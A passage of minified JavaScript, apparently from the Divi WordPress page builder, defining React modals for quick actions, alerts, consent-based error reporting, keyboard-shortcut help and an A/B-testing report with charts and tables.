t=s()((Oe(e={"et-fb-modal__module-settings":!0},"et-fb-modal__"+this.slug,!0),Oe(e,"et-fb-modal__"+this.slug+"__"+Object(ke.getOS)().toLowerCase(),!0),e)),n=s()(Oe({"et-fb-tabs__panel":!0},"et-fb-tabs__panel--"+this.slug,!0)),o=s()(Oe({"et-fb-form":!0},"et-fb-form--"+this.slug,!0)),i=[r.a.createElement(ce.a,{tooltip:Me("Settings"),ink:!1,_onClick:this.openSettingsPanel},r.a.createElement(de.a,{icon:"setting"})),r.a.createElement(ce.a,{tooltip:Me("Close"),ink:!1,_onClick:this.closeModal},r.a.createElement(de.a,{icon:"close"}))],a=u()({},this.props,{className:t,label:this.renderSearchInput(),measurement:{width:this.modalWidth,height:this.modalHeight},alwaysCentered:!0,headerButtons:i});return r.a.createElement("div",{className:"et-fb-quick-actions-wrap--modal",ref:this.setModalWrapRef},r.a.createElement(ge.a,a,r.a.createElement(me.a,null,r.a.createElement(ve.d,{selectedIndex:0},r.a.createElement(ve.c,{className:n,slug:this.slug,selected:!0},r.a.createElement("div",{className:o},this.renderResultsList()))))))}},{key:"render",value:function(){return r.a.createElement(r.a.Fragment,null,this.renderPointer(),this.renderModal())}}]),n}();t.default=xe}.call(this,n(24))},function(e,t,n){"use strict";n.r(t);var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(4),l=n.n(s),u=n(22),c=n.n(u),d=n(3),p=n(984),f=n.n(p),h=n(0),m=(n(1489),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());var g={active:l.a.bool},v=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),m(t,[{key:"componentDidMount",value:function(){h.default.$appWindow().trigger("et-core-modal-active")}},{key:"renderDescription",value:function(){var e=d.a.getAlertModalSetting("description");return h.default.hasValue(e)?r.a.createElement("div",{className:"et-core-modal-content",dangerouslySetInnerHTML:{__html:f.a.wpautop(e)}}):""}},{key:"renderButton",value:function(e,t,n){var o=c()({"et-core-modal-action":!0},n);return r.a.createElement("a",{href:"#button",className:o,onClick:t},e)}},{key:"render",value:function(){var e=h.default.replaceCodeContentEntities(d.a.getAlertModalSetting("title")),t=d.a.getAlertModalSetting("buttonCancelLabel"),n=t?this.renderButton(t,d.a.getAlertModalSetting("onClickCancelButton"),{"et-core-modal-action-secondary":!0}):"",o=d.a.getAlertModalSetting("buttonProceedLabel"),i=o?this.renderButton(o,d.a.getAlertModalSetting("onClickProceedButton"),{"et-core-modal-action-restore":!0}):"",s=t?r.a.createElement("a",{href:"#close",className:"et-core-modal-close",onClick:d.a.getAlertModalSetting("onClickCancelButton")}):"",l=["et-core-modal-overlay","et-core-active","et-fb-modal-alert"];o&&t&&l.push("et-core-modal-two-buttons");var u=r.a.createElement("div",{className:c()(l),onClick:d.a.getAlertModalSetting("onClickCancelButton")},r.a.createElement("div",{className:"et-core-modal"},r.a.createElement("div",{className:"et-fb-modal-overlay-mousetrap"}),r.a.createElement("div",{className:"et-core-modal-header"},r.a.createElement("h3",{className:"et-core-modal-title"},e),s),this.renderDescription(),r.a.createElement("div",{className:"et_pb_prompt_buttons"},n,i)));return a.a.createPortal(u,h.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app")[0])}}]),t}();v.propTypes=g,v.defaultProps={active:!1},t.default=v},function(e,t,n){"use strict";n.r(t);var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(22),l=n.n(s),u=n(2),c=n.n(u),d=n(34),p=n.n(d),f=n(0),h=n(3),m=n(19),g=n(51),v=n(727),b=n(1315),y=n(1282),_=n(12),k=n(305),w=n(62),C=(n(1490),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function E(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var O=function(e){function t(){var e,n,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=Array(r),s=0;s<r;s++)i[s]=arguments[s];return n=o=E(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),o.state={consent:"",notes:"",status:"initial",requestResponse:{}},o._onModalChange=function(){var e=h.a.getErrorReportModalStatus(),t=h.a.getErrorReportRequestResponse();o.setState({status:e,requestResponse:t}),"sending_success"===e&&setTimeout(function(){o._closeModal()},3e3)},o._onChange=function(e,t){o.setState(function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},e,t)),"consent"===e&&setTimeout(function(){return o.forceUpdate()},0)},o._onCloseModal=function(e){var t=f.default.$topWindow(e.target);t.closest(".et-core-modal").length>0&&!t.hasClass("et-core-modal-close")||(e.preventDefault(),e.stopPropagation(),o._closeModal())},o._closeModal=function(){f.default.$topWindow(a.a.findDOMNode(o.refs.reportModalOverlay)).addClass("et-core-closing").delay(600).queue(function(){_.b.setErrorReportModalActive(!1,null,null)})},o._onSubmitReport=function(e){_.b.sendErrorReport(h.a.getSections(),h.a.getPageSettings(),o.state.notes)},o._isSubmissionReady=function(){return f.default.isOn(o.state.consent)},E(o,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),C(t,[{key:"componentDidMount",value:function(){this._adjustModalPositionOnMount(),h.a.addErrorReportModalChange(this._onModalChange)}},{key:"componentWillUnmount",value:function(){h.a.removeErrorReportModalChange(this._onModalChange)}},{key:"_getI18n",value:function(e){return m.d.getI18n("errorBoundaries.modal."+e)}},{key:"_getModalInitialHeight",value:function(){var e=f.default.$topWindow(a.a.findDOMNode(this.refs.reportModal));return e.find(".et-core-modal-header").outerHeight()+parseInt(e.find(".et-core-modal-content").css("paddingTop"))+parseInt(e.find(".et-core-modal-content").css("paddingBottom"))+e.find(".et-fb-form__group").outerHeight()}},{key:"_adjustModalPositionOnMount",value:function(){var e=f.default.$topWindow(a.a.findDOMNode(this.refs.reportModal));if(this._getModalInitialHeight()<=parseInt(.6*f.default.$topWindow().innerHeight())){f.default.$topWindow(a.a.findDOMNode(this.refs.reportModalOverlay)).addClass("et-core-modal-disabled-scrollbar");var t=this._getModalInitialHeight();e.css({marginTop:"-"+t/2+"px"})}}},{key:"_isStatus",value:function(e){return e===this.state.status}},{key:"_isEtAccountActive",value:function(){var e=m.d.getEtAccount("et_username"),t=m.d.getEtAccount("et_api_key"),n=m.d.getEtAccount("status");return f.default.hasValue(e)&&f.default.hasValue(t)&&"active"===n}},{key:"_renderModalHeader",value:function(){return r.a.createElement("div",{className:"et-core-modal-header"},r.a.createElement("h3",{className:"et-core-modal-title"},this._getI18n("title")),r.a.createElement("a",{href:"#close",className:"et-core-modal-close",onClick:this._onCloseModal,style:{pointerEvents:this._isStatus("sending")?"none":"auto",opacity:this._isStatus("sending")?0:1}}))}},{key:"_renderPreloader",value:function(){return this._isStatus("sending")?r.a.createElement(k.a,{isLoading:!0}):null}},{key:"_renderErrorMessage",value:function(){return this._isStatus("sending_error")?r.a.createElement("div",{className:"et-fb-error-report-notification et-fb-error-report-notification--error"},c()(this.state,"requestResponse.message",this._getI18n("errorMessage"))):null}},{key:"_renderDebugInfo",value:function(){var e=p()(this._getI18n("debugInfo"),function(e,t){return r.a.createElement("div",{className:"et-fb-error-report-debug-items",key:"debug-info-"+t},r.a.createElement("p",{className:"et-fb-error-report-debug-items-title"},t),r.a.createElement("ul",{className:"et-fb-error-report-debug-items-list"},p()(e,function(e){return r.a.createElement("li",{key:"debug-info-"+t+"-"+e},e.replace(/_/g," "))})))});return r.a.createElement("div",{className:"et-fb-error-report-debug-items-wrap"},e)}},{key:"_renderReportForm",value:function(){var e=this._isEtAccountActive()?r.a.createElement(v.b,null,r.a.createElement(v.c,null,this._getI18n("consentTitle")),r.a.createElement("p",{className:"et-fb-error-report-consent-description"},this._getI18n("consentDescription")),this._renderDebugInfo(),r.a.createElement(v.c,null,this._getI18n("consentNotes")),r.a.createElement("p",{className:"et-fb-error-report-consent-description"},this._getI18n("consentNotesDescription")),r.a.createElement(b.a,{name:"notes",_onChange:this._onChange}),r.a.createElement(y.a,{name:"consent",_onChange:this._onChange,options:[f.default.decodeHtmlEntities(this._getI18n("consentLabel"))],value:this.state.consent})):r.a.createElement("div",{className:"et-fb-error-report-notification et-fb-error-report-notification--error"},r.a.createElement("p",null,this._getI18n("noAccountMessage")),r.a.createElement("p",null,this._getI18n("noAccountGuide"))),t={opacity:this._isStatus("sending")?0:1,pointerEvents:this._isStatus("sending")?"none":"auto"};return r.a.createElement("form",null,this._renderPreloader(),r.a.createElement("div",{className:"et-core-modal-content",style:t},this._renderErrorMessage(),e),this._renderModalProceedButton())}},{key:"_renderBugReportSentMessage",value:function(){return r.a.createElement("div",{className:"et-core-modal-content"},r.a.createElement("p",null,this._getI18n("successMessage")),r.a.createElement("p",null,this._getI18n("successAutoclose")))}},{key:"_renderModalProceedButton",value:function(){return this._isEtAccountActive()?r.a.createElement("div",{className:"et_pb_prompt_buttons"},r.a.createElement(g.a,{buttonName:"error-boundaries-report-submit",className:"et-core-modal-action",_onClick:this._onSubmitReport,style:{backgroundColor:w.a.coreModalButtonBlue,pointerEvents:this._isStatus("sending")?"none":"auto",opacity:this._isStatus("sending")?0:1},disabled:!this._isSubmissionReady()},this._getI18n("buttonLabel"))):r.a.createElement("a",{href:m.d.getUrl("themeOptionsUrl"),className:"et-core-modal-action"},this._getI18n("noAccountButtonLabel"))}},{key:"render",value:function(){var e=r.a.createElement("div",{className:l()(["et-core-modal-overlay","et-core-active","et-fb-modal-report"]),onClick:this._onCloseModal,ref:"reportModalOverlay"},r.a.createElement("div",{className:"et-core-modal",ref:"reportModal"},r.a.createElement("div",{className:"et-fb-modal-overlay-mousetrap"}),this._renderModalHeader(),this._isStatus("sending_success")?this._renderBugReportSentMessage():this._renderReportForm()));return a.a.createPortal(e,f.default.$topWindow("#et-fb-app")[0])}}]),t}();t.default=O},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(11),l=n.n(s),u=n(17),c=n.n(u),d=n(49),p=n.n(d),f=n(7),h=n.n(f),m=n(225),g=n.n(m),v=(n(46),n(3)),b=n(9),y=n(12),_=n(1491),k=n(51),w=n(40),C=n(918),E=n(674),O=n(162),S=n(0),T=(n(1493),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),M=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var x=ETBuilderBackend.i18n.help,P={isVisible:a.a.bool,onModalChange:a.a.func,modalMoving:a.a.bool},j=.5625;var L=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));t._checkActiveModals=function(){return t.handleShortcutsTimeout=setTimeout(t._setHandleShortcuts)},t._setHandleShortcuts=function(){v.a.getActiveModule()?(S.default.appWindow().removeEventListener("keydown",t._handleShortcuts),S.default.topWindow().removeEventListener("keydown",t._handleShortcuts)):(S.default.appWindow().addEventListener("keydown",t._handleShortcuts),S.default.topWindow().addEventListener("keydown",t._handleShortcuts,{useCapture:!0}))},t.displayName="ETBuilderHelp",t.isOSX=-1!==navigator.userAgent.indexOf("Mac OS X");var o=400*j,r=Object.keys(ETBuilderBackend.i18n.videos[t.props.currentVideoList]).length;return t.state={index:null,height:50*r+116+o,width:400,position:{x:t.props.position.x,y:t.props.position.y}},t._updateSpecificModal=t._updateSpecificModal.bind(t),t._handleMouseEnter=t._handleMouseEnter.bind(t),t._handleMouseLeave=t._handleMouseLeave.bind(t),t._handleShortcuts=t._handleShortcuts.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),M(n,[{key:"UNSAFE_componentWillMount",value:function(){var e=this;setTimeout(function(){return e._updateSpecificModal({width:400,x:e.props.position.x,y:e.props.position.y})},0)}},{key:"componentDidMount",value:function(){this._setHandleShortcuts(),v.a.addModuleActiveListener(this._checkActiveModals),S.default.topDocument().addEventListener("keydown",this._handleShortcuts)}},{key:"componentWillUnmount",value:function(){S.default.topDocument().removeEventListener("keydown",this._handleShortcuts)}},{key:"shouldComponentUpdate",value:function(e,t){return S.default.shouldComponentUpdate(this,e,t)}},{key:"_getHeaderButtons",value:function(){return[r.a.createElement(k.a,{primary:!0,buttonName:b.a.MODAL_HELP_BUTTON_CLOSE,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel},r.a.createElement(w.a,{icon:"close",color:"#FFFFFF"}))]}},{key:"_updateSpecificModal",value:function(e){y.b.setHelpModal({width:e.width,position:{x:e.x,y:e.y}}),this.setState({width:e.width})}},{key:"_handleMouseEnter",value:function(){this.setState({hover:!0})}},{key:"_handleMouseLeave",value:function(){this.setState({hover:!1})}},{key:"_handleShortcuts",value:function(t){var n=t.keyCode,o=t.metaKey;if((27===n||13===n&&!o)&&!e(":focus").length)return y.b.buttonClick({props:{buttonName:b.a.MODAL_HELP_BUTTON_CLOSE}}),!1}},{key:"renderKdb",value:function(e,t){var n=e;return"super"===n&&(n=this.isOSX?"cmd":"ctrl"),r.a.createElement("kbd",{key:"shortcut-item-kbd-"+t,className:"key-"+n},n)}},{key:"renderShortcutSet",value:function(e,t){var n=this,o=[];return l()(e,function(i,a){p()(i)?(o.push(n.renderKdb(i,t+"-"+a)),a<e.length-1&&o.push(r.a.createElement("span",{className:"et-fb-shortcut-separator-combination",key:"shortcut-set-separator-combination"+t+"-"+a},"+"))):l()(i,function(e,s){o.push(n.renderKdb(e,t+"-"+a+"-"+s)),s<i.length-1&&o.push(r.a.createElement("span",{className:"et-fb-shortcut-separator-optional",key:"shortcut-set-separator-optional-"+t+"-"+a+"-"+s},"/"))})}),o}},{key:"renderShortcutSets",value:function(e,t){var n=this;return c()(e)?this.renderShortcutSet(e,t):g()(e).map(function(e,o){var i=t+"-"+o;return r.a.createElement("div",{className:"et-fb-shortcut-item-set",key:"shortcut-item-set-"+i},n.renderShortcutSet(e,i))})}},{key:"renderShortcutList",value:function(){var e=this,t=ETBuilderBackend.i18n.help.shortcuts;return g()(t).map(function(t,n){return g()(t).map(function(t,o){return h()(t.title)?r.a.createElement("div",{className:"et-fb-shortcut-item",key:"shortcut-item-"+n+"-"+o},r.a.createElement("div",{className:"et-fb-shortcut-kbd"},e.renderShortcutSets(t.kbd,n+"-"+o)),r.a.createElement("div",{className:"et-fb-shortcut-desc"},r.a.createElement("p",null,t.desc))):r.a.createElement("h4",{className:"et-fb-shortcut-subtitle",key:"shortcut-item-"+n},t.title)})})}},{key:"render",value:function(){var e=this.props,t=e.currentVideo,n=e.currentVideoList,o=e.helpModalState,i=e.onModalChange,a=e.videoOverlayStatus,s=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,["currentVideo","currentVideoList","helpModalState","onModalChange","videoOverlayStatus"]),l=this.state,u=l.height,c=l.hover,d=l.position,p=l.width,f=this.props.activeTab||0;return r.a.createElement(C.a,T({className:"et-fb-modal--help",headerButtons:this._getHeaderButtons(),label:x.modal.title,measurement:{height:u,width:400},animate:this.props.options.animate,onModalChange:i,onMouseEnter:this._handleMouseEnter,onMouseLeave:this._handleMouseLeave,updateSpecificModal:this._updateSpecificModal},s),r.a.createElement(E.d,{selectedIndex:f},r.a.createElement(E.b,null,r.a.createElement(E.a,null,x.modal.tabs.gettingStarted),r.a.createElement(E.a,null,x.modal.tabs.shortcut)),r.a.createElement(E.c,null,r.a.createElement("div",{className:"et-fb-form"},r.a.createElement(O.a,null,r.a.createElement(_.a,{currentVideo:t,currentVideoList:n,helpModalState:o,modalHover:c,modalPosition:d,modalWidth:p,videoOverlayStatus:a,modalMoving:this.props.modalMoving,animate:this.props.options.animate})))),r.a.createElement(E.c,null,r.a.createElement("div",{className:"et-fb-form"},r.a.createElement(O.a,null,this.renderShortcutList())))))}}]),n}();L.propTypes=P,t.default=L}.call(this,n(24))},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(28),a=n.n(i),s=n(4),l=n.n(s),u=n(22),c=n.n(u),d=n(110),p=n.n(d),f=n(69),h=n.n(f),m=n(2),g=n.n(m),v=n(31),b=n.n(v),y=n(10),_=n.n(y),k=n(8),w=n.n(k),C=n(44),E=n.n(C),O=n(32),S=n.n(O),T=n(7),M=n.n(T),x=n(34),P=n.n(x),j=n(246),L=n.n(j),N=n(270),D=n.n(N),A=n(89),F=n.n(A),I=n(365),R=n.n(I),B=n(3),W=n(0),V=n(12),H=n(51),G=n(9),U=n(40),z=n(918),q=n(305),K=n(674),$=n(62),X=(n(1494),n(929),n(1263),function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}());function Y(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var J=ETBuilderBackend.i18n,Q={animate:l.a.bool},Z=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));t.displayName="ETBuilderABTesting";var o=["clicks","reads","bounces","engagements","conversions","shortcode_conversions"],r=ETBuilderBackend.abTesting.refresh_interval_duration,i=R()(o,L()(o.length,function(){return r}));return t.tabList=o,t.subjects=B.a.abGetAllSubjects(),t.hasConversion=B.a.abHasConversion(g()(B.a.abGetAllGoals(),"type")),t.hasShortcodeConversions=W.default.isOn(B.a.getPageSetting("et_pb_enable_shortcode_tracking")),t.timeFilterList=["day","week","month","all"],t.renderedPieChart={},t.renderedLineChart={},t.onMountInit=!1,t.state={durations:i,tab:"clicks",loading:!1,reportData:Y({},r,B.a.abGetReportData(r)),excludedSubjects:{}},t._onABTestingChange=t._onABTestingChange.bind(t),t._onMotionRest=t._onMotionRest.bind(t),t._handleTabSwitch=t._handleTabSwitch.bind(t),t._handleFilterSubjectChange=t._handleFilterSubjectChange.bind(t),t._handleFilterTimeChange=t._handleFilterTimeChange.bind(t),t._onRefreshReport=t._onRefreshReport.bind(t),t._onCloseReport=t._onCloseReport.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),X(n,[{key:"componentDidMount",value:function(){this.unmounted=!1,B.a.abAddChangeListener(this._onABTestingChange)}},{key:"componentDidUpdate",value:function(){this.initUI()}},{key:"componentWillUnmount",value:function(){this.unmounted=!0,B.a.abRemoveChangeListener(this._onABTestingChange)}},{key:"initUI",value:function(){var t=e(a.a.findDOMNode(this)),n=this.getCurrentTab(),o=t.find("#et-fb-ab-testing-report-table-"+n);o.tablesorter(),o.trigger("update"),o.find(".headerSortUp").length||o.find(".headerSortDown").length||o.find("thead tr").first().find("th").first().trigger("click");var r=this.getPieChartData(),i=t.find("#et-fb-ab-testing-report-pie-"+n);E()(g()(this,["renderedPieChart",n,"destroy"]))&&this.renderedPieChart[n].destroy(),!w()(r)&&i.length&&(this.renderedPieChart[n]=new Chart(i.get(0).getContext("2d")).Pie(r,{animationEasing:"easeInCubic",animationSteps:50,tooltipTemplate:"<%if (label){%><%=label%><%}%>"}));var s=this.getLineChartData(),l=t.find("#et-fb-ab-testing-report-chart-"+n);E()(g()(this,["renderedLineChart",n,"destroy"]))&&this.renderedLineChart[n].destroy(),b()(s,"datasets")&&w()(s.datasets)&&(s.datasets=[{}]),M()(l.get(0))||(this.renderedLineChart[n]=new Chart(l.get(0).getContext("2d")).Line(s,{scaleFontSize:13,scaleFontColor:"#a1a9b1",scaleLabel:"<%=value%>%",scaleGridLineWidth:2,scaleLineWidth:2,tooltipTemplate:"<%if (label){%><%=label%>: <%}%><%= value %>%",multiTooltipTemplate:"<%= value %>%",datasetStrokeWidth:4,pointDotStrokeWidth:2,pointDotRadius:7}))}},{key:"_handleTabSwitch",value:function(e){var t=this,n=p()(P()(this.tabList,function(e){return!("conversions"===e&&!t.hasConversion)&&(!("shortcode_conversions"===e&&!t.hasShortcodeConversions)&&e)}));b()(n,e)&&this.setState({tab:g()(n,e)})}},{key:"_handleFilterSubjectChange",value:function(e){e.preventDefault();var t=g()(this,"state.excludedSubjects",{}),n=e.target.getAttribute("data-tab-name"),o=e.target.getAttribute("data-subject-id");b()(t,[n,o])?delete t[n][o]:S()(g()(t,[n]))?t[n][o]=o:t[n]=Y({},o,o),this.setState({excludedSubjects:t})}},{key:"_handleFilterTimeChange",value:function(e){e.preventDefault();var t=g()(this,["state","tab"]),n=g()(this,["state","durations"]),o=e.target.getAttribute("data-time");n[t]=o,this.setState({durations:n})}},{key:"_onRefreshReport",value:function(){var e=g()(this,["state","durations",name]);V.b.abRefreshReport(e)}},{key:"_onCloseReport",value:function(){V.b.abCloseReport()}},{key:"_onABTestingChange",value:function(){var e=this.getCurrentDuration(),t=g()(this,"state.reportData");t[e]=B.a.abGetReportData(e),this.unmounted||this.setState({reportData:t})}},{key:"_onMotionRest",value:function(){this.onMountInit||(this.initUI(),this.onMountInit=!0)}},{key:"isSubjectDisabled",value:function(e,t){var n=F()(g()(this.state,["excludedSubjects",e],[]));return b()(t,"attrs.ab_subject_id")&&_()(n,g()(t,"attrs.ab_subject_id"))}},{key:"getCurrentTab",value:function(){return g()(this,"state.tab")}},{key:"getCurrentDuration",value:function(){return g()(this,["state","durations",this.getCurrentTab()])}},{key:"getCurrentData",value:function(){return g()(this,["state","reportData",g()(this,["state","durations",this.getCurrentTab()])])}},{key:"getReportData",value:function(e){if(b()(this,["state","reportData",e]))return g()(this,["state","reportData",e]);var t=g()(this,"state.reportData");return t[e]=B.a.abGetReportData(e),this.setState({reportData:t}),B.a.abGetReportData(e)}},{key:"getRenderedSubjects",value:function(){var e=this,t=g()(e,"state.tab");return h()(this.subjects,function(n){return!e.isSubjectDisabled(t,n)})}},{key:"getLineChartData",value:function(){var e=this.getCurrentTab(),t=this.getReportData(this.getCurrentDuration()),n=g()(t,"dates");return!M()(n)&&{labels:n,datasets:P()(this.getRenderedSubjects(),function(n){var o=g()(n,"attrs.ab_subject_id"),r=g()(t,["subjects_totals","subject_"+o,"color"]),i=B.a.abGetSubjectLabel(n);return{data:F()(g()(t,["subjects_analysis","subject_"+o,e])),fillColor:"transparent",label:i,pointColor:r,pointStrokeColor:"#fff",strokeColor:r,subject_id:o}})}}},{key:"getPieChartData",value:function(){var e=g()(this,["state","reportData",this.getCurrentDuration(),"subjects_totals"]),t=g()(this,"state.tab");return M()(e)?[]:p()(P()(this.getRenderedSubjects(),function(n){var o="subject_"+g()(n,"attrs.ab_subject_id");return{value:g()(e,[o,t]),color:g()(e,[o,"color"]),label:B.a.abGetSubjectLabel(n)}}))}},{key:"headerButtons",value:function(){return[r.a.createElement(H.a,{block:!0,buttonName:G.a.AB_CLOSE_REPORT,_onClick:this._onCloseReport},r.a.createElement(U.a,{icon:"close",color:"#FFFFFF"}))]}},{key:"renderSubjectFilter",value:function(e){var t=this;return P()(this.subjects,function(n,o){var i="tab-"+e+"-filter-subject-"+o,a=t.isSubjectDisabled(e,n),s=a?$.a.disabledSubject:B.a.abGetSubjectRank(n,"color");return r.a.createElement("li",{key:i},r.a.createElement("button",{"data-subject-id":g()(n,"attrs.ab_subject_id"),"data-tab-name":e,style:{backgroundColor:s},className:c()({"et-fb-ab-testing-filter-item-subject":!0,"et-fb-ab-testing-filter-item-subject--disabled":a}),onClick:t._handleFilterSubjectChange},B.a.abGetSubjectLabel(n)))})}},{key:"renderTimeFilter",value:function(e){var t=this;return P()(t.timeFilterList,function(n,o){var i="tab-"+e+"-filter-time-"+o,a=n===g()(t,["state","durations",e]);return r.a.createElement("li",{key:i},r.a.createElement("button",{className:c()({"et-fb-ab-testing-filter-item-time":!0,"et-fb-ab-testing-filter-item-time--active":a}),"data-time":n,onClick:t._handleFilterTimeChange},g()(J,["abTesting","reportFilterTime",n])))})}},{key:"renderTabPanel",value:function(e){var t=this.getCurrentData(),n="isFetchingData"===t,o=!t||w()(g()(t,"subjects_totals")),i=(g()(this,["state","durations",e]),r.a.createElement("canvas",{id:"et-fb-ab-testing-report-chart-"+e,className:"et-fb-ab-testing-report-chart"}));return r.a.createElement(K.c,{key:"abTesting-report-panel-"+e},r.a.createElement("div",{className:"et-fb-form"},r.a.createElement(q.a,{isLoading:n},o?r.a.createElement("div",{className:"et-fb-ab-testing-no-report"},r.a.createElement("object",{type:"image/svg+xml",data:ETBuilderBackend.images_uri+"/stats-no-data.svg"}),r.a.createElement("h2",null,g()(J,"abTesting.no_report.title")),r.a.createElement("p",null,g()(J,"abTesting.no_report.desc"))):r.a.createElement("div",null,r.a.createElement("ul",{className:"et-fb-ab-testing-filter--time"},this.renderTimeFilter(e),r.a.createElement("li",null,r.a.createElement(H.a,{className:"et-fb-ab-testing-report-refresh",buttonName:G.a.AB_REFRESH_REPORT,_onClick:this._onRefreshReport,tooltip:g()(J,"abTesting.reportRefreshTooltip")},r.a.createElement(U.a,{icon:"undo",color:$.a.abTestingTimeFilter})))),r.a.createElement("ul",{className:"et-fb-ab-testing-filter--subjects"},this.renderSubjectFilter(e)),i,this.renderTable(e),this.renderPieChart(e)))))}},{key:"renderTable",value:function(e){var t=this,n=g()(this,["state","durations",e]),o=B.a.abGetAnalysisFormula(e),i=g()(o,"denominator"),a=g()(o,"numerator"),s=g()(J,["abTesting","view_stats_thead_titles",e]),l=0,u=0,c=0,d=P()(this.getRenderedSubjects(),function(o){var s=g()(o,"attrs.ab_subject_id");if(M()(s))return!1;var d="subject_"+s,p=B.a.abGetSubjectLabel(o),f=g()(t,["state","reportData",n,"subjects_totals",d,i],0),h=g()(t,["state","reportData",n,"subjects_totals",d,a],0),m=g()(t,["state","reportData",n,"subjects_totals",d,e],0);return l+=parseFloat(f),u+=parseFloat(h),c+=parseFloat(m),r.a.createElement("tr",{key:"abTesting-row-"+e+"-"+n+"-"+s},r.a.createElement("td",null,s),r.a.createElement("td",null,p),r.a.createElement("td",null,f),r.a.createElement("td",null,h),r.a.createElement("td",null,m+"%"))}),p=c/d.length,f=(""+p).split(".").length>1?2:0,h=!w()(this.getRenderedSubjects())&&r.a.createElement("tr",null,r.a.createElement("td",{colSpan:"2"},g()(J,["abTesting","reportTotal"])),r.a.createElement("td",null,l),r.a.createElement("td",null,u),r.a.createElement("td",null,p.toFixed(f)+"%"));return r.a.createElement("div",{className:"et-fb-ab-testing-report-table--wrapper"},r.a.createElement("table",{id:"et-fb-ab-testing-report-table-"+e,className:"et-fb-ab-testing-report-table"},r.a.createElement("thead",null,r.a.createElement("tr",null,r.a.createElement("th",null,s[0]),r.a.createElement("th",null,s[1]),r.a.createElement("th",null,s[2]),r.a.createElement("th",null,s[3]),r.a.createElement("th",null,s[4]))),r.a.createElement("tbody",null,d),r.a.createElement("tfoot",null,h)))}},{key:"renderPieChart",value:function(e){var t=this,n=P()(this.subjects,function(n,o){var i=t.isSubjectDisabled(t.state.tab,n),a=i?"#E1E4E9":B.a.abGetSubjectRank(n,"color"),s=i?{color:"#E1E4E9"}:{};return 